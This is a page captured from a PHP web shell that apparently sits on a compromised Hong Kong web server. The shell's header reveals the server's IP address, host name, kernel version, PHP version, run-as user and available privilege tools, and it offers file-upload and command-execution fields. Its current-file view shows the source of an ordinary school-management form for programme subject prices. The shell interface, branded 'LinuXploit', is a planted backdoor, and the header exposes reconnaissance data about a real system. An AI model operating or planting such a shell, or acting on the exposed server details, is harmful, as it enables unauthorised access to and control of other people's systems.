403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140407/System/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140407/System/Prog_Subject_AddPage.php
<!DOCTYPE html>
<?php require_once 'Prog_Subject_SQL.php'; ?>
<?php
if (isset($_POST['btn_save'])) {
    SaveRecord($_POST);
    echo '<script>location.href = "Prog_Subject_List.php"</script>';
}
if (isset($_GET['ps_id'])) {
    $PS_Data = getDataFromID();
    if (isset($_POST['btn_save'])) {
        UpdateRecord();
    }
}
?>
<html>    
    <head>
        <?php require_once '../include/head.php'; ?>
        <?php require_once '../include/checkuser.php'; ?>
        <?php require_once '../include/Nav_bar.php'; ?>  
        <script>
            $(function() {
                $("#commentForm").validate();
                $("#select_type").change(function() {
                    var v = $(this).val();
                    if (v == "") {
                        $("#ig_tbody").attr("style", "display: none;");
                        $("#package_tbody").attr("style", "display: none;");
                        clearAll();
                        return;
                    }
                    if (v == 0) {
                        $("#ig_tbody").attr("style", "");
                        $("#package_tbody").attr("style", "display: none;");
                        clearDivInput(v);
                        return;
                    }
                    if (v == 1) {
                        $("#ig_tbody").attr("style", "display: none;");
                        $("#package_tbody").attr("style", "");
                        clearDivInput(v);
                        return;
                    }
                });
            });
            function clearAll() {
                $("input").each(function() {
                    $(this).val("");
                });
            }
            function clearDivInput(e) {
                if (e == 0) {
                    $("#package_tbody input").each(function() {
                        $(this).val("");
                    });
                } else {
                    $("#ig_tbody input").each(function() {
                        $(this).val("");
                    });
                }
            }
            function setAllDisabledfalse() {
                setAllDisabled("false");
                $("button[name='btn_save']").attr("style","");
                $("button[name='btn_edit']").attr("style","display : none");
                $("h3").html("Edit Programme Subject")
            }
            function setAllDisabled(e) {
                e = (e == "true")?true:false;
                $("select").each(function() {
                    $(this).attr("disabled", e);
                })
                $("input").each(function() {
                    $(this).attr("disabled", e);
                })
            }
        </script>
        <?php if (isset($_GET['view'])) { ?>
            <script>
                $(function() {
                    setAllDisabled("true");
                    $("button[name='btn_save']").attr("style","display: none");
                    $("h3").html("View Programme Subject")
                })
            </script>
        <?php } ?>
    </head>
    <body>
        <!-- line between nav bar and content -->
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active"><a href="Prog_Subject_List.php">Programme Subject List</a> <span class="divider">&gt;</span></li>
                <li class="active">Programme Subject From</li>
            </ul>
        </div>

        <div class="container-fluid pathways-container">
            <h3>Add Programme Subject</h3>
            <form action="" method="post" autocomplete="off" id="commentForm">
                <table>
                    <tr>
                        <td style="width: 200px;text-align: right;padding-bottom: 10px;padding-right: 15px">Programme </td>
                        <td>
                            <select name="programme">
                                <option></option>
                                <?php foreach (ProgrammeList() as $a) { ?>
                                    <option <?= isset($PS_Data) ? ($PS_Data['program_id'] == $a['program_id'] ? "selected" : "") : "" ?> value="<?= $a['program_id'] ?>"><?= $a['program_code'] ?></option>
                                <?php } ?>
                            </select>
                        </td>
                    </tr>

                    <tr style="height: 15px;"></tr>

                    <tr>
                        <td style="text-align: right;padding-bottom: 10px;padding-right: 15px">Subject </td>
                        <td>
                            <select name="code">
                                <option></option>
                                <?php foreach (SubjectList() as $a) { ?>
                                    <option <?= isset($PS_Data) ? ($PS_Data['subject_id'] == $a['subject_id'] ? "selected" : "") : "" ?> value="<?= $a['subject_id'] ?>"><?= $a['sub_code'] ?></option>
                                <?php } ?>
                            </select>
                        </td>
                    </tr>

                    <tr style="height: 15px;"></tr>

                    <tr>
                        <td style="text-align: right;padding-bottom: 10px;padding-right: 15px">Group,Individual / Package </td>
                        <td>
                            <?php echo isset($PS_Data) ? "<script>$(function(){ $('#select_type').val(" . setSelected() . ");$('#select_type').change(); })</script>" : ''; ?>
                            <select id="select_type" class="required" name="type">
                                <option></option>
                                <option value="0">Group / Individual</option>
                                <option value="1">Pakcage</option>
                            </select>
                        </td>
                    </tr>

                    <tbody id="package_tbody" style="display: none;">
                        <tr style="height: 15px;"></tr>
                        <tr>
                            <td style="text-align: right;padding-bottom: 10px;padding-right: 15px">Primary package price </td>
                            <td><input type="text" class="required" name="price1" value="<?= isset($PS_Data) ? $PS_Data['primary_package_price'] : "" ?>"/></td>
                            <td style="width: 200px;text-align: right;padding-bottom: 10px;padding-right: 15px">Secondary package price </td>
                            <td><input type="text" class="required" name="price2" value="<?= isset($PS_Data) ? $PS_Data['secondary_package_price'] : "" ?>"/></td>
                        </tr>
                    </tbody>

                    <tbody id="ig_tbody" style="display: none;">
                        <tr style="height: 15px;"></tr>
                        <tr>
                            <td style="text-align: right;padding-bottom: 10px;padding-right: 15px">Primary individual price </td>
                            <td><input type="text" class="required" name="price3" value="<?= isset($PS_Data) ? $PS_Data['primary_individual_price'] : "" ?>"/></td>
                            <td style="width: 200px;text-align: right;padding-bottom: 10px;padding-right: 15px">Primary group price </td>
                            <td><input type="text" class="required" name="price4" value="<?= isset($PS_Data) ? $PS_Data['primary_group_price'] : "" ?>"/></td>
                        </tr>

                        <tr style="height: 15px;"></tr>  

                        <tr>
                            <td style="text-align: right;padding-bottom: 10px;padding-right: 15px">Secondary individual price </td>
                            <td><input type="text" class="required" name="price5" value="<?= isset($PS_Data) ? $PS_Data['sip'] : "" ?>"/></td>
                            <td style="width: 200px;text-align: right;padding-bottom: 10px;padding-right: 15px">Secondary group price </td>
                            <td><input type="text" class="required" name="price6" value="<?= isset($PS_Data) ? $PS_Data['secondary_group_price'] : "" ?>"/></td>
                        </tr>
                    </tbody>
                </table>
                <button class="btn btn-danger" type="button" onclick="history.back()">Back</button>
                <button class="btn btn-danger" type="button" name="btn_edit" onclick="setAllDisabledfalse()">Edit</button>
                <button class="btn btn-danger" type="submit" name="btn_save" >Save</button>
            </form>
        </div> <!-- /container -->
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit